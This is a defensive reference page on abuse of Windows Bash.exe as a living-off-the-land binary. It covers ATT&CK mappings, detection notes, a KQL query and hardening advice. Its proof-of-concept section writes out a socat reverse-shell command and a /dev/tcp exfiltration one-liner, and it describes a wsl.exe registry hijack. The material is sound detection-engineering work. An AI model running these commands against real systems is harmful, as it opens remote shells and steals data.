WindowsT1202T1218

>Bash.exe

File used by Windows subsystem for Linux

Default Executable Paths

C:\Windows\System32\bash.exe
C:\Windows\SysWOW64\bash.exe

Integrity & Metadata

Category Count: 5 weaponized patterns
Forensics & Triage Insight

Documented in LOLBAS project by Oddvar Moe.

Detection Engineering Notes

Monitor process creation events where FileName is "Bash.exe" or command line references known attack arguments.

Executive Summary & AI Quick Reference

High-Fidelity Telemetry Profile

Bash.exe is a native utility pre-installed on Windows systems. Threat actors and red teams abuse Bash.exe as a Living-off-the-Land Binary (LOLBin) to achieve Execute, Defense Evasion without triggering traditional antivirus file-hash alerts. Legitimate system administrators use it for routine administration, making behavioral command-line telemetry essential for differentiation.

Primary Abused Tactics
Execute, Defense Evasion
Minimum Privilege
User
Key Telemetry Source
Sysmon 1 / 4688
ATT&CK Mapping
T1202, T1218

Weaponized Parameters & Proof-of-Concepts

Documented attack commands, parameter flags, and privilege prerequisites.

5 documented methods
Filter Purpose:
ExecutePrivileges: User
T1202: Technique T1202

Executes executable from bash.exe

bash.exe -c "{CMD}"
ExecutePrivileges: User
T1202: Technique T1202

Executes a reverse shell

bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"
ExecutePrivileges: User
T1202: Technique T1202

Exfiltrate data

bash.exe -c 'cat {PATH:.zip} > /dev/tcp/192.168.1.10/24'
Defense EvasionPrivileges: User
T1202: Technique T1202

Executes executable from bash.exe

bash.exe -c "{CMD}"

When executed, `bash.exe` queries the registry value of `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation`, which contains a folder path (`c:\program files\wsl` by default). If the value points to another folder containing a file named `wsl.exe`, it will be executed instead of the legitimate `wsl.exe` in the program files folder.

bash.exe

SIEM & EDR Detection Rules

Production telemetry rules configured for Microsoft Defender, Sigma, and Splunk.

Telemetry & SIEM Detection Suite (Bash.exe)

Validated against MITRE T1202, T1218
Bash.exe Microsoft Defender Querykql
1// Microsoft Defender XDR / Microsoft Sentinel
2// Tactic: Execute
3DeviceProcessEvents
4| where FileName =~ "Bash.exe"
5| where ProcessCommandLine has_any ("Bash")
6| project
7 Timestamp,
8 DeviceName,
9 AccountName,
10 InitiatingProcessParentFileName,
11 InitiatingProcessFileName,
12 InitiatingProcessCommandLine,
13 FileName,
14 FolderPath,
15 ProcessCommandLine,
16 MD5,
17 SHA256
18| sort by Timestamp desc

Mitigation, Hardening & Prevention

Recommended defensive controls to block or constrain Bash.exe abuse.

Application Whitelisting

Enforce Windows Defender Application Control (WDAC) or AppLocker publisher rules to prevent execution outside approved enterprise administration scripts.

Attack Surface Reduction

Enable ASR rules: Block executable content from email client and webmail and Block Office applications from creating child processes spawning Bash.exe.

Behavioral Alerting

Deploy the KQL, Sigma, and Splunk detection queries below. Alert on anomalous child processes, web requests to unrated external IPs, or encoded payload strings.

Frequently Asked Questions (FAQ) • Bash.exe

Key operational questions and defensive answers about Bash.exe LOLBin tradecraft.

What is Bash.exe and why is it classified as a LOLBin?

Bash.exe is a legitimate, pre-installed or trusted utility on Windows. It is classified as a Living-off-the-Land Binary (LOLBin) because adversaries abuse its built-in functionality to perform malicious operations—such as Execute, Defense Evasion—without dropping custom malware binaries on disk.

How do threat actors abuse Bash.exe in cyber intrusions?

Adversaries leverage Bash.exe to execute stealthy actions while evading signature-based security controls. For example, attackers execute commands like "bash.exe -c "{CMD}"" to achieve Execute, Defense Evasion, masquerading behind legitimate system process lineage.

How can SOC analysts detect suspicious Bash.exe activity?

Detection engineers monitor process creation events (Windows Event ID 4688 or Sysmon Event ID 1; Linux auditd EXECVE; macOS Endpoint Security) inspecting anomalous command line arguments, unusual parent-child process relationships (e.g. Office apps or web servers spawning Bash.exe), and unexpected network connections.

What MITRE ATT&CK techniques does Bash.exe map to?

Bash.exe maps to MITRE ATT&CK technique(s): T1202, T1218. These techniques cover adversary actions across tactics such as Defense Evasion, Execution, Persistence, and Command and Control.

How can organizations mitigate and restrict Bash.exe?

Mitigation strategies include implementing Application Control policies (AppLocker or Windows Defender Application Control - WDAC), enforcing Attack Surface Reduction (ASR) rules, configuring strict privilege separation (disallowing standard users from running sensitive switches), and alerting on execution from non-standard directories.

Sharon Ben Moshe
Curated & Verified by
Sharon Ben Moshe
Cybersecurity Researcher & Detection EngineerCheck Point